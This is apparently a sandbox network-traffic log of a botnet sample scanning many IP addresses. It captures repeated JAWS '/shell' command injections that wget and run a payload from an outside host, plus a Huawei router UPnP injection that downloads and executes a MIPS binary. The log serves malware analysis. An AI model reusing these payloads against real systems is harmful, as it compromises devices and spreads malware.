Mar 13, 2024 09:36:20.997458935 CET	493	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:20 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 299 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 64 65 66 61 75 6c 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at default Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.15	33112	137.117.70.192	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:20.883791924 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:20.983741045 CET	40	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.15	59716	107.180.54.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:20.884418964 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:21.204073906 CET	1286	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Mar 2024 08:36:20 GMT Server: Apache X-Powered-By: PHP/7.2.34 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://awesometicity.us/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 38 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 39 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 39 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 33 30 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 33 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 73 63 68 65 6d 65 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 35 34 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 Data Ascii: <br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>528</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>529</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>529</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>530</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>533</b><br /><br /><b>Notice</b>: Undefined index: scheme in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>554</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/publi
Mar 13, 2024 09:36:21.204113960 CET	1286	IN	Data Raw: 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 38 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e Data Ascii: c_html/wp-includes/canonical.php</b> on line <b>528</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>529</b><br /><br /><b>Notice</b>: Undefined index: host
Mar 13, 2024 09:36:21.204150915 CET	1286	IN	Data Raw: 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 77 65 73 6f 6d 65 74 69 63 69 74 79 2e 75 73 2f 66 65 65 64 2f 22 20 2f 3e Data Ascii: pplication/rss+xml" title=" » Feed" href="https://awesometicity.us/feed/" /><link rel="alternate" type="application/rss+xml" title=" » Comments Feed" href="https://awesometicity.us/comments/feed/" /><script type="text/javascrip
Mar 13, 2024 09:36:21.204190969 CET	1286	IN	Data Raw: 30 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 34 37 5d 29 29 3b 63 61 73 65 22 65 6d 6f 6a 69 22 3a 72 65 74 75 72 6e 21 63 28 5b 35 35 33 35 37 2c 35 36 34 32 34 2c 35 35 33 35 36 2c 35 37 33 Data Ascii: 0,8203,56128,56423,8203,56128,56447]));case"emoji":return!c([55357,56424,55356,57342,8205,55358,56605,8205,55357,56424,55356,57340],[55357,56424,55356,57342,8203,55358,56605,8203,55357,56424,55356,57340])}return!1}function d(e){var t=a.createE
Mar 13, 2024 09:36:21.204251051 CET	1286	IN	Data Raw: 74 61 6e 74 3b 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 Data Ascii: tant;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em !important;background: none !important;padding: 0 !important;}</style><
Mar 13, 2024 09:36:21.204288960 CET	1286	IN	Data Raw: 7b 63 6f 6c 6f 72 3a 23 36 38 36 38 36 38 3b 7d 0a 2e 68 65 72 6f 2c 2e 68 65 72 6f 20 2e 77 69 64 67 65 74 20 68 31 2c 2e 68 65 72 6f 20 2e 77 69 64 67 65 74 20 68 32 2c 2e 68 65 72 6f 20 2e 77 69 64 67 65 74 20 68 33 2c 2e 68 65 72 6f 20 2e 77 Data Ascii: {color:#686868;}.hero,.hero .widget h1,.hero .widget h2,.hero .widget h3,.hero .widget h4,.hero .widget h5,.hero .widget h6,.hero .widget p,.hero .widget blockquote,.hero .widget cite,.hero .widget table,.hero .widget ul,.hero .widget ol,.her
Mar 13, 2024 09:36:21.204329967 CET	1286	IN	Data Raw: 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 Data Ascii: nput[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="search"]:focus,input[type="number"]:focus,input[type="tel"]:focus,input[type="range"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type
Mar 13, 2024 09:36:21.204366922 CET	1286	IN	Data Raw: 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 68 31 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 68 32 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 68 33 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 68 34 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 68 35 2c 2e 73 Data Ascii: .site-footer h1,.site-footer h2,.site-footer h3,.site-footer h4,.site-footer h5,.site-footer h6{color:#353535;}.footer-widget-area .footer-widget .widget-title:after{background:#353535;}.site-footer .widget,.site-footer .widget form label{col
Mar 13, 2024 09:36:21.204404116 CET	1286	IN	Data Raw: 65 73 65 74 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 62 75 74 74 6f 6e 3a 61 63 74 69 Data Ascii: eset"],input[type="submit"]{background-color:transparent;}button:hover,button:active,button:focus,a.button:hover,a.button:active,a.button:focus,a.button:visited:hover,a.button:visited:active,a.button:visited:focus,.content-area .fl-builder-con
Mar 13, 2024 09:36:21.204442978 CET	1286	IN	Data Raw: 32 2c 20 32 30 33 2c 20 30 2e 38 29 3b 7d 0a 62 75 74 74 6f 6e 2c 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 61 2e 62 75 74 74 6f 6e 2c 61 2e 62 75 74 74 6f 6e 3a 68 6f Data Ascii: 2, 203, 0.8);}button,button:hover,button:active,button:focus,a.button,a.button:hover,a.button:active,a.button:focus,a.button:visited,a.button:visited:hover,a.button:visited:active,a.button:visited:focus,input[type="button"],input[type="button
Mar 13, 2024 09:36:21.204478025 CET	470	IN	Data Raw: 7b 63 6f 6c 6f 72 3a 23 30 33 32 36 33 42 3b 7d 2e 68 61 73 2d 70 72 69 6d 61 72 79 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 33 32 36 33 42 3b 7d 0a 2e 68 61 73 2d 73 65 63 6f Data Ascii: {color:#03263B;}.has-primary-background-color{background-color:#03263B;}.has-secondary-color{color:#0b3954;}.has-secondary-background-color{background-color:#0b3954;}.has-tertiary-color{color:#bddae6;}.has-tertiary-background-color{backgroun

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.15	60022	40.85.178.219	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:21.073168993 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:21.167289019 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:36:21 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.15	54430	35.170.175.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:21.077908039 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:21.171808004 CET	433	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:21 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.15	53224	108.232.5.11	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:21.206300974 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.15	46034	185.229.91.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:21.254061937 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:21.434904099 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 13 Mar 2024 08:36:21 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.15	48502	104.197.183.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:21.409874916 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:21.664654016 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 13 Mar 2024 08:36:21 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.15	53386	156.241.8.50	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:23.180263042 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:27.285732985 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 